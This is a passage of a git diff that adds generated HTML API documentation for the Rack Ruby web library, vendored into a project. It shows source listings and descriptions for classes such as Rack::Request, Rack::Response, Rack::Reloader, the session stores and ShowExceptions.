+41:       call(env.merge(req.env))
+42:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/recursive.rb, line 44
+44:     def include(env, path)
+45:       unless path.index(@script_name) == 0 && (path[@script_name.size] == ?/ ||
+46:                                                path[@script_name.size].nil?)
+47:         raise ArgumentError, "can only include below #{@script_name}, not #{path}"
+48:       end
+49: 
+50:       env = env.merge("PATH_INFO" => path, "SCRIPT_NAME" => @script_name,
+51:                       "REQUEST_METHOD" => "GET",
+52:                       "CONTENT_LENGTH" => "0", "CONTENT_TYPE" => "",
+53:                       "rack.input" => StringIO.new(""))
+54:       @app.call(env)
+55:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Reloader.html b/vendor/plugins/rack/doc/classes/Rack/Reloader.html new file mode 100644 index 00000000..395f7644 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Reloader.html @@ -0,0 +1,249 @@ + + + + + + Class: Rack::Reloader + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Reloader
In: + + lib/rack/reloader.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Reloader checks on every request, but at +most every secs seconds, if a file loaded changed, and reloads it, +logging to rack.errors. +

+

+It is recommended you use ShowExceptions +to catch SyntaxErrors etc. +

+ +
+ + +
+ +
+

Methods

+ +
+ call   + new   + reload!   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/reloader.rb, line 11
+11:     def initialize(app, secs=10)
+12:       @app = app
+13:       @secs = secs              # reload every @secs seconds max
+14:       @last = Time.now
+15:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/reloader.rb, line 17
+17:     def call(env)
+18:       if Time.now > @last + @secs
+19:         Thread.exclusive {
+20:           reload!(env['rack.errors'])
+21:           @last = Time.now
+22:         }
+23:       end
+24: 
+25:       @app.call(env)
+26:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/reloader.rb, line 28
+28:     def reload!(stderr=STDERR)
+29:       need_reload = $LOADED_FEATURES.find_all { |loaded|
+30:         begin
+31:           if loaded =~ /\A[.\/]/  # absolute filename or 1.9
+32:             abs = loaded
+33:           else
+34:             abs = $LOAD_PATH.map { |path| ::File.join(path, loaded) }.
+35:                              find { |file| ::File.exist? file }
+36:           end
+37: 
+38:           if abs
+39:             ::File.mtime(abs) > @last - @secs  rescue false
+40:           else
+41:             false
+42:           end
+43:         end
+44:       }
+45: 
+46:       need_reload.each { |l|
+47:         $LOADED_FEATURES.delete l
+48:       }
+49: 
+50:       need_reload.each { |to_load|
+51:         begin
+52:           if require to_load
+53:             stderr.puts "#{self.class}: reloaded `#{to_load}'"
+54:           end
+55:         rescue LoadError, SyntaxError => e
+56:           raise e                 # Possibly ShowExceptions
+57:         end
+58:       }
+59: 
+60:       stderr.flush
+61:       need_reload
+62:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Request.html b/vendor/plugins/rack/doc/classes/Rack/Request.html new file mode 100644 index 00000000..3250dca9 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Request.html @@ -0,0 +1,1126 @@ + + + + + + Class: Rack::Request + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Request
In: + + lib/rack/request.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Request provides a convenient interface to +a Rack environment. It is stateless, the +environment env passed to the constructor will be directly +modified. +

+
+  req = Rack::Request.new(env)
+  req.post?
+  req.params["data"]
+
+ +
+ + +
+ +
+

Methods

+ +
+ GET   + POST   + []   + []=   + accept_encoding   + body   + content_charset   + content_length   + content_type   + cookies   + delete?   + form_data?   + fullpath   + get?   + head?   + host   + ip   + media_type   + media_type_params   + new   + params   + path_info   + path_info=   + port   + post?   + put?   + query_string   + referer   + referrer   + request_method   + scheme   + script_name   + script_name=   + url   + values_at   + xhr?   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + + + +
FORM_DATA_MEDIA_TYPES=[ nil, 'application/x-www-form-urlencoded', 'multipart/form-data'  +The set of form-data media-types. Requests that do not indicate one of the +media types presents in this list will not be eligible for form-data / +param parsing. + +
+
+
+ + + +
+

Attributes

+ +
+ + + + + + +
env [R]  +The environment of the request. + +
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 16
+16:     def initialize(env)
+17:       @env = env
+18:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

+Returns the data recieved in the query string. +

+

[Source]

+
+
+     # File lib/rack/request.rb, line 93
+ 93:     def GET
+ 94:       if @env["rack.request.query_string"] == query_string
+ 95:         @env["rack.request.query_hash"]
+ 96:       else
+ 97:         @env["rack.request.query_string"] = query_string
+ 98:         @env["rack.request.query_hash"]   =
+ 99:           Utils.parse_query(query_string)
+100:       end
+101:     end
+
+
+
+
+ +
+ + + + +
+

+Returns the data recieved in the request body. +

+

+This method support both application/x-www-form-urlencoded and +multipart/form-data. +

+

[Source]

+
+
+     # File lib/rack/request.rb, line 107
+107:     def POST
+108:       if @env["rack.request.form_input"].eql? @env["rack.input"]
+109:         @env["rack.request.form_hash"]
+110:       elsif form_data?
+111:         @env["rack.request.form_input"] = @env["rack.input"]
+112:         unless @env["rack.request.form_hash"] =
+113:             Utils::Multipart.parse_multipart(env)
+114:           @env["rack.request.form_vars"] = @env["rack.input"].read
+115:           @env["rack.request.form_hash"] = Utils.parse_query(@env["rack.request.form_vars"])
+116:           @env["rack.input"].rewind if @env["rack.input"].respond_to?(:rewind)
+117:         end
+118:         @env["rack.request.form_hash"]
+119:       else
+120:         {}
+121:       end
+122:     end
+
+
+
+
+ +
+ + + + +
+

+shortcut for request.params[key] +

+

[Source]

+
+
+     # File lib/rack/request.rb, line 132
+132:     def [](key)
+133:       params[key.to_s]
+134:     end
+
+
+
+
+ +
+ + + + +
+

+shortcut for request.params[key] = value +

+

[Source]

+
+
+     # File lib/rack/request.rb, line 137
+137:     def []=(key, value)
+138:       params[key.to_s] = value
+139:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/request.rb, line 198
+198:     def accept_encoding
+199:       @env["HTTP_ACCEPT_ENCODING"].to_s.split(/,\s*/).map do |part|
+200:         m = /^([^\s,]+?)(?:;\s*q=(\d+(?:\.\d+)?))?$/.match(part) # From WEBrick
+201: 
+202:         if m
+203:           [m[1], (m[2] || 1.0).to_f]
+204:         else
+205:           raise "Invalid value for Accept-Encoding: #{part.inspect}"
+206:         end
+207:       end
+208:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 20
+20:     def body;            @env["rack.input"]                       end
+
+
+
+
+ +
+ + + + +
+

+The character set of the request body if +a "charset" media type parameter was given, or nil if no +"charset" was specified. Note that, per RFC2616, text/* media +types that specify no explicit charset are to be considered ISO-8859-1. +

+

[Source]

+
+
+    # File lib/rack/request.rb, line 56
+56:     def content_charset
+57:       media_type_params['charset']
+58:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 27
+27:     def content_length;  @env['CONTENT_LENGTH']                   end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 28
+28:     def content_type;    @env['CONTENT_TYPE']                     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/request.rb, line 153
+153:     def cookies
+154:       return {}  unless @env["HTTP_COOKIE"]
+155: 
+156:       if @env["rack.request.cookie_string"] == @env["HTTP_COOKIE"]
+157:         @env["rack.request.cookie_hash"]
+158:       else
+159:         @env["rack.request.cookie_string"] = @env["HTTP_COOKIE"]
+160:         # According to RFC 2109:
+161:         #   If multiple cookies satisfy the criteria above, they are ordered in
+162:         #   the Cookie header such that those with more specific Path attributes
+163:         #   precede those with less specific.  Ordering with respect to other
+164:         #   attributes (e.g., Domain) is unspecified.
+165:         @env["rack.request.cookie_hash"] =
+166:           Utils.parse_query(@env["rack.request.cookie_string"], ';,').inject({}) {|h,(k,v)|
+167:             h[k] = Array === v ? v.first : v
+168:             h
+169:           }
+170:       end
+171:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 71
+71:     def delete?;         request_method == "DELETE"               end
+
+
+
+
+ +
+ + + + +
+

+Determine whether the request body +contains form-data by checking the request media_type against registered form-data +media-types: "application/x-www-form-urlencoded" and +"multipart/form-data". The list of form-data media types can be +modified through the FORM_DATA_MEDIA_TYPES array. +

+

[Source]

+
+
+    # File lib/rack/request.rb, line 88
+88:     def form_data?
+89:       FORM_DATA_MEDIA_TYPES.include?(media_type)
+90:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/request.rb, line 192
+192:     def fullpath
+193:       path = script_name + path_info
+194:       path << "?" << query_string  unless query_string.empty?
+195:       path
+196:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 68
+68:     def get?;            request_method == "GET"                  end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 72
+72:     def head?;           request_method == "HEAD"                 end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 60
+60:     def host
+61:       # Remove port number.
+62:       (@env["HTTP_HOST"] || @env["SERVER_NAME"]).gsub(/:\d+\z/, '')
+63:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/request.rb, line 210
+210:     def ip
+211:       if addr = @env['HTTP_X_FORWARDED_FOR']
+212:         addr.split(',').last.strip
+213:       else
+214:         @env['REMOTE_ADDR']
+215:       end
+216:     end
+
+
+
+
+ +
+ + + + +
+

+The media type (type/subtype) portion of the CONTENT_TYPE header without +any media type parameters. e.g., when CONTENT_TYPE is +"text/plain;charset=utf-8", the media-type is +"text/plain". +

+

+For more information on the use of media types in HTTP, see: www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.7 +

+

[Source]

+
+
+    # File lib/rack/request.rb, line 36
+36:     def media_type
+37:       content_type && content_type.split(/\s*[;,]\s*/, 2)[0].downcase
+38:     end
+
+
+
+
+ +
+ + + + +
+

+The media type parameters provided in CONTENT_TYPE as a Hash, or an empty +Hash if no CONTENT_TYPE or media-type parameters were provided. e.g., when +the CONTENT_TYPE is "text/plain;charset=utf-8", this method +responds with the following Hash: +

+
+  { 'charset' => 'utf-8' }
+
+

[Source]

+
+
+    # File lib/rack/request.rb, line 45
+45:     def media_type_params
+46:       return {} if content_type.nil?
+47:       content_type.split(/\s*[;,]\s*/)[1..-1].
+48:         collect { |s| s.split('=', 2) }.
+49:         inject({}) { |hash,(k,v)| hash[k.downcase] = v ; hash }
+50:     end
+
+
+
+
+ +
+ + + + +
+

+The union of GET and POST data. +

+

[Source]

+
+
+     # File lib/rack/request.rb, line 125
+125:     def params
+126:       self.put? ? self.GET : self.GET.update(self.POST)
+127:     rescue EOFError => e
+128:       self.GET
+129:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 23
+23:     def path_info;       @env["PATH_INFO"].to_s                   end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 66
+66:     def path_info=(s);   @env["PATH_INFO"] = s.to_s               end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 24
+24:     def port;            @env["SERVER_PORT"].to_i                 end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 69
+69:     def post?;           request_method == "POST"                 end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 70
+70:     def put?;            request_method == "PUT"                  end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 26
+26:     def query_string;    @env["QUERY_STRING"].to_s                end
+
+
+
+
+ +
+ + + + +
+

+the referer of the client or +’/’ +

+

[Source]

+
+
+     # File lib/rack/request.rb, line 147
+147:     def referer
+148:       @env['HTTP_REFERER'] || '/'
+149:     end
+
+
+
+
+ +
+ + +
+ referrer() +
+ +
+

+Alias for referer +

+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 25
+25:     def request_method;  @env["REQUEST_METHOD"]                   end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 21
+21:     def scheme;          @env["rack.url_scheme"]                  end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 22
+22:     def script_name;     @env["SCRIPT_NAME"].to_s                 end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/request.rb, line 65
+65:     def script_name=(s); @env["SCRIPT_NAME"] = s.to_s             end
+
+
+
+
+ +
+ + + + +
+

+Tries to return a remake of the original request URL as a string. +

+

[Source]

+
+
+     # File lib/rack/request.rb, line 178
+178:     def url
+179:       url = scheme + "://"
+180:       url << host
+181: 
+182:       if scheme == "https" && port != 443 ||
+183:           scheme == "http" && port != 80
+184:         url << ":#{port}"
+185:       end
+186: 
+187:       url << fullpath
+188: 
+189:       url
+190:     end
+
+
+
+
+ +
+ + + + +
+

+like Hash#values_at +

+

[Source]

+
+
+     # File lib/rack/request.rb, line 142
+142:     def values_at(*keys)
+143:       keys.map{|key| params[key] }
+144:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/request.rb, line 173
+173:     def xhr?
+174:       @env["HTTP_X_REQUESTED_WITH"] == "XMLHttpRequest"
+175:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Response.html b/vendor/plugins/rack/doc/classes/Rack/Response.html new file mode 100644 index 00000000..bb48d358 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Response.html @@ -0,0 +1,518 @@ + + + + + + Class: Rack::Response + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Response
In: + + lib/rack/response.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Response provides a convenient interface +to create a Rack response. +

+

+It allows setting of headers and cookies, and provides useful defaults (a +OK response containing HTML). +

+

+You can use Response#write to +iteratively generate your response, but note that this is buffered by Rack::Response until you call finish. finish however can take a block +inside which calls to write +are syncronous with the Rack response. +

+

+Your application‘s call should end returning Response#finish. +

+ +
+ + +
+ +
+

Methods

+ +
+ []   + []=   + close   + delete_cookie   + each   + empty?   + finish   + new   + set_cookie   + to_a   + write   +
+
+ +
+ + + +
+

Included Modules

+ +
+ Helpers +
+
+ +
+ +
+

Classes and Modules

+ + Module Rack::Response::Helpers
+ +
+ + +
+

External Aliases

+ +
+ + + + + + +
header->headers
+
+
+ + +
+

Attributes

+ +
+ + + + + + + + + + + + + + + + +
body [RW] 
header [R] 
status [RW] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/response.rb, line 19
+19:     def initialize(body=[], status=200, header={}, &block)
+20:       @status = status
+21:       @header = Utils::HeaderHash.new({"Content-Type" => "text/html"}.
+22:                                       merge(header))
+23: 
+24:       @writer = lambda { |x| @body << x }
+25:       @block = nil
+26:       @length = 0
+27: 
+28:       @body = []
+29: 
+30:       if body.respond_to? :to_str
+31:         write body.to_str
+32:       elsif body.respond_to?(:each)
+33:         body.each { |part|
+34:           write part.to_s
+35:         }
+36:       else
+37:         raise TypeError, "stringable or iterable required"
+38:       end
+39: 
+40:       yield self  if block_given?
+41:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/response.rb, line 46
+46:     def [](key)
+47:       header[key]
+48:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/response.rb, line 50
+50:     def []=(key, value)
+51:       header[key] = value
+52:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 122
+122:     def close
+123:       body.close if body.respond_to?(:close)
+124:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/response.rb, line 81
+81:     def delete_cookie(key, value={})
+82:       unless Array === self["Set-Cookie"]
+83:         self["Set-Cookie"] = [self["Set-Cookie"]].compact
+84:       end
+85: 
+86:       self["Set-Cookie"].reject! { |cookie|
+87:         cookie =~ /\A#{Utils.escape(key)}=/
+88:       }
+89: 
+90:       set_cookie(key,
+91:                  {:value => '', :path => nil, :domain => nil,
+92:                    :expires => Time.at(0) }.merge(value))
+93:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 109
+109:     def each(&callback)
+110:       @body.each(&callback)
+111:       @writer = callback
+112:       @block.call(self)  if @block
+113:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 126
+126:     def empty?
+127:       @block == nil && @body.empty?
+128:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 96
+ 96:     def finish(&block)
+ 97:       @block = block
+ 98: 
+ 99:       if [204, 304].include?(status.to_i)
+100:         header.delete "Content-Type"
+101:         [status.to_i, header.to_hash, []]
+102:       else
+103:         header["Content-Length"] ||= @length.to_s
+104:         [status.to_i, header.to_hash, self]
+105:       end
+106:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/response.rb, line 54
+54:     def set_cookie(key, value)
+55:       case value
+56:       when Hash
+57:         domain  = "; domain="  + value[:domain]    if value[:domain]
+58:         path    = "; path="    + value[:path]      if value[:path]
+59:         # According to RFC 2109, we need dashes here.
+60:         # N.B.: cgi.rb uses spaces...
+61:         expires = "; expires=" + value[:expires].clone.gmtime.
+62:           strftime("%a, %d-%b-%Y %H:%M:%S GMT")    if value[:expires]
+63:         secure = "; secure"  if value[:secure]
+64:         value = value[:value]
+65:       end
+66:       value = [value]  unless Array === value
+67:       cookie = Utils.escape(key) + "=" +
+68:         value.map { |v| Utils.escape v }.join("&") +
+69:         "#{domain}#{path}#{expires}#{secure}"
+70: 
+71:       case self["Set-Cookie"]
+72:       when Array
+73:         self["Set-Cookie"] << cookie
+74:       when String
+75:         self["Set-Cookie"] = [self["Set-Cookie"], cookie]
+76:       when nil
+77:         self["Set-Cookie"] = cookie
+78:       end
+79:     end
+
+
+
+
+ +
+ + +
+ to_a(&block) +
+ +
+

+Alias for finish +

+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 115
+115:     def write(str)
+116:       s = str.to_s
+117:       @length += s.size
+118:       @writer.call s
+119:       str
+120:     end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Response/Helpers.html b/vendor/plugins/rack/doc/classes/Rack/Response/Helpers.html new file mode 100644 index 00000000..5602be82 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Response/Helpers.html @@ -0,0 +1,479 @@ + + + + + + Module: Rack::Response::Helpers + + + + + + + + + + +
+ + + + + + + + + + +
ModuleRack::Response::Helpers
In: + + lib/rack/response.rb + +
+
+
+ + +
+ + + +
+ + + +
+ +
+

Methods

+ +
+ client_error?   + content_length   + content_type   + empty?   + forbidden?   + include?   + informational?   + invalid?   + location   + not_found?   + ok?   + redirect?   + redirection?   + server_error?   + successful?   +
+
+ +
+ + + + +
+ + + + + +
+

Attributes

+ +
+ + + + + + + + + + + +
headers [R]  +Headers + +
original_headers [R]  +Headers + +
+
+
+ + + + +
+

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 138
+138:       def client_error?;  @status >= 400 && @status < 500;       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 159
+159:       def content_length
+160:         cl = headers["Content-Length"]
+161:         cl ? cl.to_i : cl
+162:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 155
+155:       def content_type
+156:         headers["Content-Type"]
+157:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 146
+146:       def empty?;         [201, 204, 304].include?      @status; end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 142
+142:       def forbidden?;     @status == 403;                        end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 151
+151:       def include?(header)
+152:         !!headers[header]
+153:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 135
+135:       def informational?; @status >= 100 && @status < 200;       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 133
+133:       def invalid?;       @status < 100 || @status >= 600;       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 164
+164:       def location
+165:         headers["Location"]
+166:       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 143
+143:       def not_found?;     @status == 404;                        end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 141
+141:       def ok?;            @status == 200;                        end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 145
+145:       def redirect?;      [301, 302, 303, 307].include? @status; end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 137
+137:       def redirection?;   @status >= 300 && @status < 400;       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 139
+139:       def server_error?;  @status >= 500 && @status < 600;       end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+     # File lib/rack/response.rb, line 136
+136:       def successful?;    @status >= 200 && @status < 300;       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Session.html b/vendor/plugins/rack/doc/classes/Rack/Session.html new file mode 100644 index 00000000..5ab547bb --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Session.html @@ -0,0 +1,125 @@ + + + + + + Module: Rack::Session + + + + + + + + + + + + + +
+ + + +
+ + + +
+ + +
+ + + + +
+ +
+

Classes and Modules

+ + Class Rack::Session::Cookie
+Class Rack::Session::Memcache
+Class Rack::Session::Pool
+ +
+ + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Session/Cookie.html b/vendor/plugins/rack/doc/classes/Rack/Session/Cookie.html new file mode 100644 index 00000000..87b616d0 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Session/Cookie.html @@ -0,0 +1,200 @@ + + + + + + Class: Rack::Session::Cookie + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Session::Cookie
In: + + lib/rack/session/cookie.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::Session::Cookie provides simple cookie +based session management. The session is a Ruby Hash stored as base64 +encoded marshalled data set to :key (default: rack.session). When the +secret key is set, cookie data is checked for data integrity. +

+

+Example: +

+
+    use Rack::Session::Cookie, :key => 'rack.session',
+                               :domain => 'foo.com',
+                               :path => '/',
+                               :expire_after => 2592000,
+                               :secret => 'change_me'
+
+    All parameters are optional.
+
+ +
+ + +
+ +
+

Methods

+ +
+ call   + new   +
+
+ +
+ + + + +
+ + + + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/session/cookie.rb, line 24
+24:       def initialize(app, options={})
+25:         @app = app
+26:         @key = options[:key] || "rack.session"
+27:         @secret = options[:secret]
+28:         @default_options = {:domain => nil,
+29:           :path => "/",
+30:           :expire_after => nil}.merge(options)
+31:       end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/session/cookie.rb, line 33
+33:       def call(env)
+34:         load_session(env)
+35:         status, headers, body = @app.call(env)
+36:         commit_session(env, status, headers, body)
+37:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Session/Memcache.html b/vendor/plugins/rack/doc/classes/Rack/Session/Memcache.html new file mode 100644 index 00000000..7c8d7f74 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Session/Memcache.html @@ -0,0 +1,204 @@ + + + + + + Class: Rack::Session::Memcache + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Session::Memcache
In: + + lib/rack/session/memcache.rb + +
+
Parent: + Abstract::ID +
+
+ + +
+ + + +
+ +
+

+Rack::Session::Memcache provides simple cookie +based session management. Session data is +stored in memcached. The corresponding session key is maintained in the +cookie. You may treat Session::Memcache as you +would Session::Pool with the following caveats. +

+
    +
  • Setting :expire_after to 0 would note to the Memcache server to hang onto the session data +until it would drop it according to it‘s own specifications. However, +the cookie sent to the client would expire immediately. + +
  • +
+

+Note that memcache does drop data before it may be listed to expire. For a +full description of behaviour, please see memcache‘s documentation. +

+ +
+ + +
+ +
+

Methods

+ +
+ new   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + +
DEFAULT_OPTIONS=Abstract::ID::DEFAULT_OPTIONS.merge({ :namespace => 'rack:session', :memcache_server => 'localhost:11211'
+
+
+ + + +
+

Attributes

+ +
+ + + + + + + + + + + +
mutex [R] 
pool [R] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/session/memcache.rb, line 29
+29:       def initialize(app, options={})
+30:         super
+31:         @pool = MemCache.new @default_options[:memcache_server], @default_options
+32:         unless @pool.servers.any?{|s|s.alive?}
+33:           raise "#{self} unable to find server during initialization."
+34:         end
+35:         @mutex = Mutex.new
+36:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Session/Pool.html b/vendor/plugins/rack/doc/classes/Rack/Session/Pool.html new file mode 100644 index 00000000..28945712 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/Session/Pool.html @@ -0,0 +1,201 @@ + + + + + + Class: Rack::Session::Pool + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::Session::Pool
In: + + lib/rack/session/pool.rb + +
+
Parent: + Abstract::ID +
+
+ + +
+ + + +
+ +
+

+Rack::Session::Pool provides simple cookie based +session management. Session data is stored in +a hash held by @pool. In the context of a multithreaded environment, +sessions being committed to the pool is done in a merging manner. +

+

+Example: +

+
+  myapp = MyRackApp.new
+  sessioned = Rack::Session::Pool.new(myapp,
+    :key => 'rack.session',
+    :domain => 'foo.com',
+    :path => '/',
+    :expire_after => 2592000
+  )
+  Rack::Handler::WEBrick.run sessioned
+
+ +
+ + +
+ +
+

Methods

+ +
+ new   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + +
DEFAULT_OPTIONS=Abstract::ID::DEFAULT_OPTIONS.dup
+
+
+ + + +
+

Attributes

+ +
+ + + + + + + + + + + +
mutex [R] 
pool [R] 
+
+
+ + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/session/pool.rb, line 30
+30:       def initialize(app, options={})
+31:         super
+32:         @pool = Hash.new
+33:         @mutex = Mutex.new
+34:       end
+
+
+
+
+ + +
+ + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ShowExceptions.html b/vendor/plugins/rack/doc/classes/Rack/ShowExceptions.html new file mode 100644 index 00000000..f01daf55 --- /dev/null +++ b/vendor/plugins/rack/doc/classes/Rack/ShowExceptions.html @@ -0,0 +1,260 @@ + + + + + + Class: Rack::ShowExceptions + + + + + + + + + + +
+ + + + + + + + + + + + + + +
ClassRack::ShowExceptions
In: + + lib/rack/showexceptions.rb + +
+
Parent: + Object +
+
+ + +
+ + + +
+ +
+

+Rack::ShowExceptions catches all +exceptions raised from the app it wraps. It shows a useful backtrace with +the sourcefile and clickable context, the whole Rack environment and the request data. +

+

+Be careful when you use this on public-facing sites as it could reveal +information helpful to attackers. +

+ +
+ + +
+ +
+

Methods

+ +
+ call   + new   + pretty   +
+
+ +
+ + + + +
+ + +
+

Constants

+ +
+ + + + + + +
CONTEXT=7
+
+
+ + + + + + + +
+

Public Class methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/showexceptions.rb, line 17
+17:     def initialize(app)
+18:       @app = app
+19:       @template = ERB.new(TEMPLATE)
+20:     end
+
+
+
+
+ +

Public Instance methods

+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/showexceptions.rb, line 22
+22:     def call(env)
+23:       @app.call(env)
+24:     rescue StandardError, LoadError, SyntaxError => e
+25:       backtrace = pretty(env, e)
+26:       [500,
+27:        {"Content-Type" => "text/html",
+28:         "Content-Length" => backtrace.join.size.to_s},
+29:        backtrace]
+30:     end
+
+
+
+
+ +
+ + + + +
+

[Source]

+
+
+    # File lib/rack/showexceptions.rb, line 32
+32:     def pretty(env, exception)
+33:       req = Rack::Request.new(env)
+34:       path = (req.script_name + req.path_info).squeeze("/")
+35: 
+36:       frames = exception.backtrace.map { |line|
+37:         frame = OpenStruct.new
+38:         if line =~ /(.*?):(\d+)(:in `(.*)')?/
+39:           frame.filename = $1
+40:           frame.lineno = $2.to_i
